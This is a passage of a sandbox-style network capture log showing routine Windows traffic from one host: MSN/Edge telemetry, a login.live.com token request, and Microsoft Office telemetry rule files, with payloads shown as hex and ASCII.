2024-11-11 18:52:27 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731351145492&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10067 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-11 18:52:27 UTC	10067	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 38 3a 35 32 3a 32 35 2e 34 39 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 39 35 39 66 31 65 64 2d 37 38 31 37 2d 34 32 35 34 2d 62 65 65 64 2d 37 62 61 37 34 65 32 33 31 32 66 31 22 2c 22 65 70 6f 63 68 22 3a 22 31 33 32 32 30 37 33 31 39 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-11T18:52:25.490Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"0959f1ed-7817-4254-beed-7ba74e2312f1","epoch":"1322073198"},"app":{"loc
2024-11-11 18:52:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=86535b9e4ac14fa498582b670d8366ba&HASH=8653&LV=202411&V=4&LU=1731351147356; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:52:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ce4945b167964a78bc6efa32bd796801; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 19:22:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1864 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:52:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49896	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:28 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C550_BAY x-ms-request-id: 53eca34f-9251-4ead-8d90-6ec020eba783 PPServer: PPV: 30 H: PH1PEPF00011F91 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:28 GMT Connection: close Content-Length: 11391
2024-11-11 18:52:28 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 16af1629-301e-0033-6dd5-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f78459684bddphC1EWRbht4000000051000000000h395 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 954b4d19-301e-0052-53d5-3365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968t42glhC1EWRa36w00000004z000000000rr93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7cd1171a-e01e-0052-10d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968qj8jrhC1EWRh41s000000059000000000akb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 648756f6-901e-0067-0fd5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968n2hr8hC1EWR9cag00000004wg00000000qhs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2302a2aa-d01e-0017-0cd5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968c2t8dhC1EWR8s20000000055g0000000017xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a2be61a-a01e-0053-3cd5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968swgbqhC1EWRmnb400000005d000000000p974 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49905	13.107.246.45	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 87508d13-a01e-0098-09d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968l4kp6hC1EWRe88400000005p000000000499m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:28 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c056ec92-701e-001e-03d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968jrjrxhC1EWRmmrs00000005fg00000000bfvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 87508d14-a01e-0098-0ad5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968j6t2phC1EWRcfe800000005cg00000000rwt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
